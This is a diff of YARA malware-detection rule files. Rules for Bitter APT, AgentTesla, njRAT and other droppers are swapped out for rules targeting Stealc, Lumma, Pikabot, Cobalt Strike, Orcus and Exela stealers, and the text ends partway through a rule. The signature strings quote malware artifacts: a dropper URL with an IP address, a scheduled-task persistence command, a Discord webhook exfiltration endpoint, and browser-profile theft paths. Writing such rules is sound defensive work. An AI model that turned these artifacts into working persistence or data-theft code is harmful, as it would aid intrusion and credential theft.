 		license_url = "N/A"
-		logic_hash = "1d30e2ad0d99d274a4e3dd029ff41ec05e8ba4160bea37762bce1bb5286493d8"
+		hash = "7a391340b6677f74bcf896b5cc16a470543e2a384049df47949038df5e770df1"
+		logic_hash = "49ffde28c8823c00959ddbaa516fc48c7908b533c8f91608b0e3a645045c9048"
 		score = 75
-		quality = 70
-		tags = "CVE-2018-0798"
-		tlp = "WHITE"
-		hash0 = "0c7158f9fc2093caf5ea1e34d8b8fffce0780ffd25191fac9c9b52c3208bc450"
-		hash1 = "bd0d25194634b2c74188cfa3be6668590e564e6fe26a6fe3335f95cbc943ce1d"
-		hash2 = "3992d5a725126952f61b27d43bd4e03afa5fa4a694dca7cf8bbf555448795cd6"
+		quality = 75
+		tags = ""
 
 	strings:
-		$xor_string0 = "LoadLibraryA" xor
-		$xor_string1 = "urlmon.dll" xor
-		$xor_string2 = "Shell32.dll" xor
-		$xor_string3 = "ShellExecuteA" xor
-		$xor_string4 = "MoveFileA" xor
-		$xor_string5 = "CreateDirectoryA" xor
-		$xor_string6 = "C:\\Windows\\explorer" xor
-		$padding = {000001128341000001128341000001128342000001128342}
+		$s1 = {31 2d 3d 31 73 30 02 39 c0 74 0a 5b 70 61 73 64 6c 30 71 77 69 8d 5b 01 8d 52 01 39 eb 75 03 83 eb 20 39 ca}
 
 	condition:
-		3 of ($xor_string*) and $padding
+		$s1
 }
-import "pe"
-import "dotnet"
-
-rule SECUINFRA_APT_Bitter_Almond_RAT : FILE
+rule EMBEERESEARCH_Win_Stealc_Bytecodes_Oct_2023
 {
 	meta:
-		description = "Detects Bitter (T-APT-17) Almond RAT (.NET)"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "191fadf9-4f64-56c9-bc2a-a7b4e27ab0fc"
-		date = "2022-06-01"
-		modified = "2022-07-05"
-		reference = " https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/APT/APT_Bitter_T-APT-17.yar#L82-L108"
+		description = "Bytecodes present in Stealc decoding routine"
+		author = "Matthew @ Embee_Research"
+		id = "ecac28a0-cd77-5e6a-8af2-59ea62e733bf"
+		date = "2023-08-27"
+		modified = "2023-10-09"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_stealc_bytecodes_oct_2023.yar#L2-L21"
 		license_url = "N/A"
-		hash = "55901c2d5489d6ac5a0671971d29a31f4cdfa2e03d56e18c1585d78547a26396"
-		logic_hash = "b8d6b95987fe434fc16c87a7bc144f1fe69301a32bb93588df7c2abbfef62d75"
+		hash = "74ff68245745b9d4cec9ef3c539d8da15295bdc70caa6fdb0632acdd9be4130a"
+		hash = "9f44a4cbc30e7a05d7eb00b531a9b3a4ada5d49ecf585b48892643a189358526"
+		logic_hash = "d50f57e32a7f513d92625549fcd139b7fa1e478879283fd61426fcd19d03d296"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		tlp = "WHITE"
+		quality = 75
+		tags = ""
 
 	strings:
-		$function0 = "GetMacid" ascii
-		$function1 = "StartCommWithServer" ascii
-		$function2 = "sendingSysInfo" ascii
-		$dbg0 = "*|END|*" wide
-		$dbg1 = "FILE>" wide
-		$dbg2 = "[Command Executed Successfully]" wide
+		$s1 = {8b 4d f0 89 4d f8 8b 45 f8 c1 e0 03 33 d2 b9 06 00 00 00 f7 f1 8b e5 5d c2 04 00}
 
 	condition:
-		uint16(0)==0x5a4d and dotnet.version=="v4.0.30319" and filesize >12KB and filesize <68KB and any of ($function*) and any of ($dbg*)
+		( all of ($s*))
 }
-import "pe"
-import "dotnet"
-
-rule SECUINFRA_APT_Bitter_PDB_Paths : FILE
+rule EMBEERESEARCH_Win_Lumma_Update_Simple_Strings_Sep_2023 : FILE
 {
 	meta:
-		description = "Detects Bitter (T-APT-17) PDB Paths"
-		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
-		id = "e2ad4ac3-45fe-5087-b0d6-a5de16774229"
-		date = "2022-06-22"
-		modified = "2022-07-05"
-		reference = "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/APT/APT_Bitter_T-APT-17.yar#L110-L133"
+		description = ""
+		author = "Matthew @ Embee_Research"
+		id = "90209fc6-fd50-5b55-a400-112b2f207885"
+		date = "2023-09-13"
+		modified = "2023-09-21"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_lumma_updated_sep_2023.yar#L1-L25"
 		license_url = "N/A"
-		logic_hash = "7eb9e4c1b4e0cca070596f3702045756eb32716481bb59f2f8322221804291f5"
+		hash = "898a2bdbbb33ccd63b038c67d217554a668a52e9642874bd0f57e08153e6e5be"
+		logic_hash = "61571057a5a9c114b6ed5b94b922f2b389406a05e705b3e9e6ddbee221f74c92"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = "FILE"
-		tlp = "WHITE"
-		hash0 = "55901c2d5489d6ac5a0671971d29a31f4cdfa2e03d56e18c1585d78547a26396"
 
 	strings:
-		$pdbPath0 = "C:\\Users\\Window 10 C\\Desktop\\COMPLETED WORK\\" ascii
-		$pdbPath1 = "stdrcl\\stdrcl\\obj\\Release\\stdrcl.pdb"
-		$pdbPath2 = "g:\\Projects\\cn_stinker_34318\\"
-		$pdbPath3 = "renewedstink\\renewedstink\\obj\\Release\\stimulies.pdb"
+		$s1 = "Do you want to run a malware ?" wide
+		$s2 = "c2sock" wide
+		$s3 = "TeslaBrowser/5" wide
+		$s4 = "Crypt build to disable this message" wide
 
 	condition:
-		uint16(0)==0x5a4d and any of ($pdbPath*)
+		uint16(0)==0x5a4d and filesize <5000KB and ( all of ($s*))
 }
-rule SECUINFRA_SUSP_Scheduled_Tasks_Create_From_Susp_Dir : FILE
+import "dotnet"
+
+rule EMBEERESEARCH_Win_Agent_Tesla_Bytecodes_Sep_2023
 {
 	meta:
-		description = "Detects a PowerShell Script that creates a Scheduled Task that runs from an suspicious directory"
-		author = "SECUINFRA Falcon Team"
-		id = "65aad597-c5fe-50c3-8970-19fb502f1602"
-		date = "2022-02-21"
-		modified = "2022-02-27"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Windows/windows_misc.yar#L2-L25"
+		description = "No description has been set in the source file - EmbeeResearch"
+		author = "Matthew @embee_research"
+		id = "9d1c5010-7c64-5a6a-bf60-35c042732761"
+		date = "2023-09-21"
+		modified = "2023-09-21"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_agent_tesla_bytecodes_sep_2023.yar#L4-L21"
 		license_url = "N/A"
-		logic_hash = "abe0592a8936898a43a1df9039829948f8a4a425c74cb970d2899d513c9cfffe"
-		score = 60
-		quality = 25
-		tags = "FILE"
-		version = "0.1"
+		hash = "ce696cf7a6111f5e7c6781854de04ddc262b6c9b39c059fd5435dfb3b8901f04"
+		hash = "afc29232c4989587db2c54b7c9f145fd0d73537e045ece15338582ede5389fce"
+		hash = "fba4374163ba25c9dc572f1a5d7f3e46e09531ab964d808f3dde2a19c05a2ee5"
+		logic_hash = "1cc40ab16dfa5245b3146e4512509037f540d59e155040a2336a97cd0f42e612"
+		score = 75
+		quality = 75
+		tags = ""
 
 	strings:
-		$create = "New-ScheduledTaskAction"
-		$execute = "-Execute"
-		$trigger = "New-ScheduledTaskTrigger"
-		$at_param = "-At"
-		$register = "Register-ScheduledTask"
-		$action = "-Action"
-		$path1 = "C:\\ProgramData\\"
-		$path2 = "C:\\Windows\\Temp"
-		$path3 = "AppData\\Local"
+		$s1 = {8F ?? ?? ?? ?? 25 47 FE ?? ?? ?? FE ?? ?? ?? 91 61 D2 52 20 ?? ?? ?? ?? FE ?? ?? ?? }
 
 	condition:
-		filesize <30KB and 1 of ($path*) and ($create and $execute) or ($trigger and $at_param) or ($register and $action)
+		dotnet.is_dotnet and $s1
 }
-rule SECUINFRA_SUSP_Reverse_Run_Key : FILE
+rule EMBEERESEARCH_Win_Orcus_Rat_Simple_Strings_Dec_2023
 {
 	meta:
-		description = "Detects a Reversed Run Key"
-		author = "SECUINFRA Falcon Team"
-		id = "230bed16-278e-574c-bb9b-cf6c44a7e9cd"
-		date = "2022-02-27"
-		modified = "2022-02-27"
-		reference = "https://github.com/SIFalcon/Detection"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Windows/windows_misc.yar#L27-L38"
+		description = "Strings observed in Orcus RAT"
+		author = "Matthew @ Embee_Research"
+		id = "baef6b96-bf94-5363-9186-9761a8055afd"
+		date = "2023-12-24"
+		modified = "2023-12-24"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_orcus_rat_simple_strings_dec_2023.yar#L1-L26"
 		license_url = "N/A"
-		logic_hash = "dcb1a7e2c688287d08ade3d75e5c3d0dde6b645889bd4ec09ce8c131d8d3265e"
-		score = 65
-		quality = 70
-		tags = "FILE"
+		hash = "30a2a674d55d7898d304713dd2f69a043d875230ea7ebee22596ba4c640768db"
+		logic_hash = "2e0a44ec2749e0fc646dfb003a2d32b3fecfa07ece72ca5a65116250d80496b8"
+		score = 75
+		quality = 75
+		tags = ""
 
 	strings:
-		$run = "nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" wide
+		$s1 = "Orcus is a Remote Administration Tool for Windows. It allows the administrator to make changes to the system remotely." wide
+		$s2 = "Orcus.Service" wide
+		$s4 = "costura.orcus" wide
+		$s5 = "Orcus.Commands"
+		$s6 = "Orcus.Shared"
+		$s7 = "Orcus.Utilities"
+		$s8 = "Orcus.StaticCommands"
+		$s9 = "Orcus.Plugins"
 
 	condition:
-		filesize <100KB and $run
+		(5 of them )
 }
-rule SECUINFRA_DROPPER_Unknown_1 : DROPPER HTA FILE
+rule EMBEERESEARCH_Win_Cobalt_Strike_Loader_Shellcode_Jun_2023 : FILE
 {
 	meta:
-		description = "Detects unknown HTA Dropper"
-		author = "SECUINFRA Falcon Team"
-		id = "70c06b9d-8474-5b6e-bd9c-d45a25585ee9"
-		date = "2022-10-02"
-		modified = "2022-02-19"
-		reference = "https://bazaar.abuse.ch/sample/c2bf8931028e0a18eeb8f1a958ade0ab9d64a00c16f72c1a3459f160f0761348/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/unknown.yar#L1-L21"
+		description = "Detection of an encoder observed with Cobalt Strike shellcode"
+		author = "Matthew @ Embee_research"
+		id = "ea52b9e7-f2bd-5c9f-9ee1-506baa48be84"
+		date = "2023-07-03"
+		modified = "2023-07-03"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobalt_shellcode_encoder_jun_2023.yar#L1-L21"
 		license_url = "N/A"
-		hash = "1749f4127bba3f7204710286b1252e14"
-		logic_hash = "d02874514bcb6c3603d1bfee702ec9e18c15153bc14a55ca8d637308c3f35a75"
+		logic_hash = "42b4b9ab681f3164168de84e76bcd8161865fa9e5871d70a6de534b23896e4f0"
 		score = 75
-		quality = 43
-		tags = "DROPPER, HTA, FILE"
+		quality = 75
+		tags = "FILE"
+		vendor = ""
 
 	strings:
-		$a1 = "<script type=\"text/vbscript\" LANGUAGE=\"VBScript\" >"
-		$a2 = "Function XmlTime(t)"
-		$a3 = "C:\\ProgramData\\"
-		$a4 = "wscript.exe"
-		$a5 = "Array" nocase
-		$b = "chr" nocase
+		$get_enc_offset = {8b 88 c0 00 00 00 8b 90 c4 00 00 00 48 8d b0 c8 00 00 00}
+		$decode_loop = {ac 83 e1 03 d2 c8 ff c1 aa ff ca 75 f3}
+		$b64_initial_bytes = "SInISIlMJAiLiMAAAACLkMQAAABIjbDIAAAA" wide ascii
 
 	condition:
-		filesize <70KB and all of ($a*) and #b>7
+		(($get_enc_offset and $decode_loop) or $b64_initial_bytes) and filesize <10000KB
 }
-rule SECUINFRA_MAL_Agenttesla_Stage_1 : JAVASCRIPT AGENTTESLA OBFUSCATORIO FILE
+rule EMBEERESEARCH_Win_Pikabot_Loader_Bytecodes_Oct_2023
 {
 	meta:
-		description = "Detects the first stage of AgentTesla (JavaScript)"
-		author = "SECUINFRA Falcon Team"
-		id = "0a098f27-8dbc-5749-9a0d-fd0198184c7a"
-		date = "2022-02-27"
-		modified = "2022-02-27"
-		reference = "https://bazaar.abuse.ch/sample/bd257d674778100639b298ea35550bf3bcb8b518978c502453e9839846f9bbec/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/agent_tesla.yar#L1-L18"
+		description = "Detects bytecodes in recent PikaBot Loaders"
+		author = "Matthew @ Embee_Research"
+		id = "c15b9390-1d20-5325-81c3-c6cf59ffb21f"
+		date = "2023-10-03"
+		modified = "2023-10-08"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_pikabot_loader_bytecodes_oct_2023.yar#L3-L24"
 		license_url = "N/A"
-		hash = "bd257d674778100639b298ea35550bf3bcb8b518978c502453e9839846f9bbec"
-		logic_hash = "7c21f80a02aa161ffb2edf47aff796f22aff2a563abcb0097cc86371c05e516d"
+		hash = "778b6797bb9c9d2f868d3faaaf6b36ce3f06178c133bb592c5345c95ffb034a9"
+		hash = "e26d44d740b4edbd37fa6196dcc9171e49e711d8ce64f67aae36c4299e352108"
+		hash = "2d212cacc4767ef4383bdf462a9bb8aaf87f0b3c55b4c2f4a47c97c710ec1cd8"
+		logic_hash = "a078df39fda5ab6f432c4bf42fb61bdf106386d9684188189e3cea81803b3952"
 		score = 75
-		quality = 45
-		tags = "JAVASCRIPT, AGENTTESLA, OBFUSCATORIO, FILE"
+		quality = 75
+		tags = ""
 
 	strings:
-		$mz = "TVq"
-		$a1 = ".jar"
-		$a2 = "bin.base64"
-		$a3 = "appdata"
-		$a4 = "skype.exe"
+		$s1 = { 8b 59 64 a1 58 00 ?? ?? 8b 8e d0 00 00 00 2b c1 2d d9 f1 3e 41 0f af da 09 46 20 a1 34 dd ?? ?? 8b d3 2b 88 a0 00 00 00 2b 0d bc ff ?? ?? 81}
+		$s2 = { 88 14 08 8b cb 8b 15 a0 6a ?? ?? 42 c1 e9 08 89 15 a0 6a ?? ?? 8b 46 20 2b 05 ec 6a ?? ?? 05 ae 49 08 00}
+		$s3 = { 03 d8 43 a1 d4 8e ?? ?? 33 18 89 1d 18 8f ?? ?? a1 d4 8e ?? ?? 8b 15 18 8f ?? ?? 89 10 8b 45 f8 83 c0 04 89 45 f8 33 c0 a3 14 8f ?? ?? a1 d4 8e ?? ?? 83 c0 04 03 05 14 8f ?? ?? a3 d4 8e ?? ?? 8b 45 f8 3b 05 e0 8e ?? ?? }
 
 	condition:
-		filesize <500KB and $mz and 3 of ($a*)
+		$s1 or $s2 or $s3
 }
-rule SECUINFRA_DROPPER_Asyncrat_VBS_February_2022_1 : FILE
+rule EMBEERESEARCH_Win_Cobalt_Sleep_Encrypt : FILE
 {
 	meta:
-		description = "No description has been set in the source file - SecuInfra"
-		author = "SECUINFRA Falcon Team"
-		id = "80f84c2f-7af0-55c1-bc06-d605beae3e33"
-		date = "2022-02-21"
-		modified = "2022-02-21"
-		reference = "https://bazaar.abuse.ch/sample/06cd1e75f05d55ac1ea77ef7bee38bb3b748110b79128dab4c300f1796a2b941/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/asyncrat.yar#L2-L18"
+		description = "Detects Sleep Encryption Logic Found in Cobalt Strike Deployments"
+		author = "Matthew @ Embee_Research"
+		id = "6bd6fbb4-6634-5b51-90f0-f24e48d69043"
+		date = "2023-08-27"
+		modified = "2023-10-18"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_cobalt_sleep_encrypt_aug_2023.yar#L1-L55"
 		license_url = "N/A"
-		logic_hash = "80c86b0cbb7382135bb9ae8c80ac42f499081fe1fe48fadf21f0e136bcc04358"
+		hash = "26b2f12906c3590c8272b80358867944fd86b9f2cc21ee6f76f023db812e5bb1"
+		logic_hash = "7aa2674ecaaae819c3f26924fa0622df322b1214493f37b1bdf5e00ba5ee98e6"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$a1 = "http://3.145.46.6/"
-		$b1 = "Const HIDDEN_WINDOW = 0"
-		$b2 = "GetObject(\"winmgmts:\\\\"
-		$c = "replace("
+		$r1_nokey = {4E 8B 04 08 B8 ?? ?? ?? ?? 41 F7 E3 41 8B C3 C1 EA 02 41 FF C3 6B D2 0D 2B C2 8A 4C 18 18 41 30 0C 38 48 8B 43 10 41 8B FB 4A 3B 7C 08 08}
+		$r2_nokey = {49 8B F9 4C 8B 03 B8 ?? ?? ?? ?? 41 F7 E1 41 8B C1 C1 EA 02 41 FF C1 6B D2 0D 2B C2 8A 4C 18 18 42 30 0C 07 48 FF C7 45 3B CB}
 
 	condition:
-		filesize <10KB and ($a1 or ( all of ($b*) and #c>10))
+		($r1_nokey or $r2_nokey)
 }
-rule SECUINFRA_DROPPER_Njrat_VBS : VBS NJRAT DROPPER FILE
+import "dotnet"
+
+rule EMBEERESEARCH_Win_Solarmarker_Bytecodes : FILE
 {
 	meta:
-		description = "No description has been set in the source file - SecuInfra"
-		author = "SECUINFRA Falcon Team"
-		id = "5296667a-2932-597e-8f49-b7fa755cb387"
-		date = "2022-02-27"
-		modified = "2022-02-27"
-		reference = "https://bazaar.abuse.ch/sample/daea0b5dfcc3e20b75292df60fe5f0e16a40735254485ff6cc7884697a007c0d/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/njrat.yar#L2-L23"
+		description = "Detects bytecodes present in solarmarker Packer"
+		author = "Matthew @ Embee_Research"
+		id = "d405e7ae-f09b-5993-a510-e5e1bc289898"
+		date = "2023-09-10"
+		modified = "2023-09-11"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_solarmarker_bytecodes_aug_2023.yar#L3-L21"
 		license_url = "N/A"
-		logic_hash = "7640be8850992ee7f05e85e1f781b4c63ccf958cf62da8deacfe9bb116627ceb"
+		hash = "a433dad1e31f2e19ab5d22b6348c73fa4c874502acc20d5517d785b554754279"
+		logic_hash = "52256184706b7173ee8e8683ac79c1b9d4773778c135e4dae255376c0a6651fb"
 		score = 75
-		quality = 70
-		tags = "VBS, NJRAT, DROPPER, FILE"
+		quality = 75
+		tags = "FILE"
 
 	strings:
-		$a1 = "[System.Convert]::FromBase64String( $Codigo.replace(" wide
-		$a2 = "WDySjnçIJwGnYGadvbOQBvKzlNzWDDgUqgGlLKÇQvvkKPNjaUIdApxgqHTfDLUkfOKsXOKçDcQtltyXDXhNNbGNNPACgAzWRtuLt" wide
-		$b1 = "CreateObject(\"WScript.Shell\")" wide
-		$b2 = "\"R\" + \"e\" + \"p\" + \"l\" + \"a\" + \"c\" + \"e\"" wide
-		$b3 = "BBBB\" + \"BBBBBBB\" + \"BBBBBBB\" + \"BBBBBBBB" wide
-		$b4 = "& DGRP & NvWt & DGRP &" wide
-		$b5 = "= ogidoC$" wide
+		$s1 = {8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 20 ?? ?? ?? ?? 13 ?? 06 11 ?? 20 ?? ?? ?? ?? 58 D1 8C ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 20 ?? ?? ?? ?? 13 ?? 06 11 ?? 20 ?? ?? ?? ?? 58 D1 8C ?? ?? ?? ?? 28 ?? ?? ?? ??}
 
 	condition:
-		filesize <300KB and ((1 of ($a*)) or (2 of ($b*)))
+		dotnet.is_dotnet and filesize <7000KB and $s1
 }
-rule SECUINFRA_DROPPER_WSHRAT_Stage_1 : FILE
+rule EMBEERESEARCH_Win_Lumma_Simple_Strings : FILE
 {
 	meta:
-		description = "Detects the first stage of WSHRAT as obfuscated JavaScript"
-		author = "SECUINFRA Falcon Team"
-		id = "3bd363dc-3183-595e-931b-668eb17495f5"
-		date = "2022-11-02"
-		modified = "2022-02-27"
-		reference = "https://bazaar.abuse.ch/sample/ad24ae27346d930e75283b10d4b949a4986c18dbd5872a91f073334a08169a14/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/wshrat.yar#L1-L18"
+		description = ""
+		author = "Matthew @ Embee_Research"
+		id = "d949d547-a2ee-56d9-8510-74f3b718b2c0"
+		date = "2023-09-13"
+		modified = "2023-09-21"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_lumma _simple_sep_2023.yar#L1-L40"
 		license_url = "N/A"
-		hash = "793eff1b2039727e76fdd04300d44fc6"
-		logic_hash = "1390929d06bd1259dbab425fd4e953119f632be460f57756a0c226e9f510d75a"
+		hash = "277d7f450268aeb4e7fe942f70a9df63aa429d703e9400370f0621a438e918bf"
+		logic_hash = "0b3cb6721d26b79afe892b1c4df5e54c18cd7a5492aeacd442deca6b9b926f3c"
 		score = 75
-		quality = 70
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$a1 = "'var {0} = WS{1}teObject(\"ado{2}am\");"
-		$b1 = "String[\"prototype\"]"
-		$b2 = "this.replace("
-		$b3 = "Array.prototype"
+		$s1 = "Binedx765ance Chaedx765in Waledx765let" wide
+		$s2 = "%appdaedx765ta%\\Moedx765zilla\\Firedx765efox\\Profedx765iles"
+		$s3 = "\\Locedx765al Extensedx765ion Settinedx765gs\\"
+		$s4 = "%appdedx765ata%\\Opedx765era Softwedx765are\\Opedx765era GX Staedx765ble"
+		$o1 = {57 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 65 00 62 00 20 00 44 00 61 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 74 00 61 00}
+		$o2 = {4f 00 70 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 65 00 72 00 61 00 20 00 4e 00 65 00 6f 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 6e 00}
+		$o3 = {4c 00 6f 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 67 00 69 00 6e 00 20 00 44 00 61 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 74 00 61 00}
 
 	condition:
-		filesize <1500KB and $a1 and #b3>3 and #b1>2 and $b2
+		uint16(0)==0x5a4d and filesize <5000KB and (( all of ($s*)) or ( all of ($o*)))
 }
-rule SECUINFRA_DROPPER_Valyria_Stage_1 : JAVASCRIPT VBS VALYRIA FILE
+import "dotnet"
+
+rule EMBEERESEARCH_Win_Exela_Stealer_Simple_Strings_Sep_2023
 {
 	meta:
-		description = "Family was taken from VirusTotal"
-		author = "SECUINFRA Falcon Team"
-		id = "7e2ab9db-142c-5dee-92b7-4a70d747c540"
-		date = "2022-02-18"
-		modified = "2022-02-18"
-		reference = "https://bazaar.abuse.ch/sample/c8a8fea3cbe08cd97e56a0e0dbc59a892f8ab1ff3b5217ca3c9b326eeee6ca66/"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/valyria.yar#L1-L23"
+		description = "No description has been set in the source file - EmbeeResearch"
+		author = "Matthew @embee_research"
+		id = "e63aa1d3-997e-5200-93fc-869c177fe1a8"
+		date = "2023-09-24"
+		modified = "2023-09-26"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_exela_stealer_simple_strings_sep_2023.yar#L4-L32"
 		license_url = "N/A"
-		logic_hash = "94643123a4be26c818d43a77b907edf8651d306463f4df750db67cef790f10eb"
+		hash = "bf5d70ca2faf355d86f4b40b58032f21e99c3944b1c5e199b9bb728258a95c1b"
+		logic_hash = "2312b63fe86fd34eb12f42f079f470eb3af27ef8c199f3620253c828ad28441a"
 		score = 75
-		quality = 70
-		tags = "JAVASCRIPT, VBS, VALYRIA, FILE"
+		quality = 75
+		tags = ""
 
 	strings:
-		$a1 = "<script language=\"vbscript\">"
-		$a2 = "<script language=\"javascript\">"
-		$b1 = "window.resizeTo(0,0);"
-		$b2 = ".Environment"
-		$b3 = ".item().Name"
-		$b4 = "v4.0.30319"
-		$b5 = "v2.0.50727"
-		$c1 = "Content Writing.docx"
-		$c2 = "eval"
+		$s1 = "https://i.instagram.com/api/v1/accounts/current_user/" wide
+		$s2 = "/create /f /sc onlogon /rl highest /tn \"AutoUpdateCheckerOnLogon\" /tr " wide
+		$s4 = "https://discord.com/api/webhooks/" wide
+		$s5 = "Browser : {0} | Name : {1} | Value : {2} | Date created (timestamp) : {3} |  Date last used (timestamp) : {4} | Count {5}" wide
+		$s6 = "Browser : {0} | {1} {2}/{3} {4}" wide
+		$e1 = "Exela.Program" wide ascii
+		$e2 = "Exela.Wifi" wide ascii
+		$e3 = "Exela.Components" wide ascii
+		$e4 = "Exela Stealer" wide ascii
+		$e5 = "Exela.exe" wide ascii
 
 	condition:
-		filesize <600KB and all of ($a*) and 3 of ($b*) and 1 of ($c*)
+		dotnet.is_dotnet and (( all of ($s*)) or (3 of ($e*)))
 }
-rule SECUINFRA_DROPPER_Vjw0Rm_Stage_1 : JAVASCRIPT DROPPER VJW0RM FILE
+rule EMBEERESEARCH_Win_Mystic_Stealer_Bytecodes_Sep_2023
 {
 	meta:
-		description = "No description has been set in the source file - SecuInfra"
-		author = "SECUINFRA Falcon Team"
-		id = "a07f80e4-56c3-5b75-be64-648bc1fde964"
-		date = "2022-02-19"
-		modified = "2022-02-27"
-		reference = "https://bazaar.abuse.ch/browse.php?search=tag%3AVjw0rm"
-		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/Dropper/Vjw0rm.yar#L2-L19"
+		description = "No description has been set in the source file - EmbeeResearch"
+		author = "Matthew @ Embee_reserch"
+		id = "ef7c51e1-9c8c-5b66-bc1e-f35a796c84f2"
+		date = "2023-09-21"
+		modified = "2023-11-12"
+		reference = "https://github.com/embee-research/Yara-detection-rules/"
+		source_url = "https://github.com/embee-research/Yara-detection-rules//blob/ac56d6f6fd2a30c8cb6e5c0455d6519210a8b0f4/Rules/win_mystic_stealer_bytecodes_sep_2023.yar#L1-L29"
 		license_url = "N/A"
-		logic_hash = "e5cc23431239e8a650369729050809cf6fe2acc58941086f79ce004b4f506eed"
+		hash = "ef9fce75334befe0b435798c0b61dab1239ea5bc62b97654943676dd96dc6318"
+		hash = "36d8cb1447e2c5da60d2b86bf29856919c25f8e71a17f1d0d61d03c5e0505e4b"
+		hash = "e907c22288dacb37efa07481fef7a0d4ec0ce42954f12b2572ea7f5ffeecf313"
+		logic_hash = "f68b6ef307e48b7ff6f944cfcf9c906a83611400af5af7d8621227874356960d"
 		score = 75
-		quality = 20
-		tags = "JAVASCRIPT, DROPPER, VJW0RM, FILE"
-		version = "0.1"
+		quality = 75
+		tags = ""
 
 	strings:
-		$a1 = "$$$"
-		$a2 = "microsoft.xmldom"
-		$a3 = "eval"
-		$a4 = "join(\"\")"
+		$s1 = {99 d3 d8 c5}
+		$s2 = {99 b7 66 df}
+		$s3 = {cb 45 92 f8}
+		$s4 = {7b cc e1 54}
+		$s5 = {7b 9c 29 17}
+		$s6 = {01 c4 fb 83}
+		$s7 = {b6 0f 74 e3}
+		$s8 = {93 58 b5 ee}
+		$s9 = {81 d9 df be}
+		$s10 = {7b d8 62 00}
+		$s12 = {81 d9 df be}
+		$s13 = {7b d8 62 00}
+		$s14 = {77 4a bc ac}
 
 	condition:
-		( uint16(0)==0x7566 or uint16(0)==0x6176 or uint16(0)==0x0a0d or uint16(0)==0x660a) and filesize <60KB and all of ($a*)
+		( all of them )
 }
-rule SECUINFRA_RANSOM_Magniber_ISO_Jan23 : FILE
+rule EMBEERESEARCH_Win_Cobaltstrike_Pipe_Strings_Nov_2023 : FILE
 {
 	meta:
-		description = "Detects Magniber Ransomware ISO files from fake Windows Update delivery method"
-		author = "SECUINFRA Falcon Team"
-		id = "6d5a937d-ac31-5c59-8e93-3fadc772d132"
-		date = "2023-01-13"
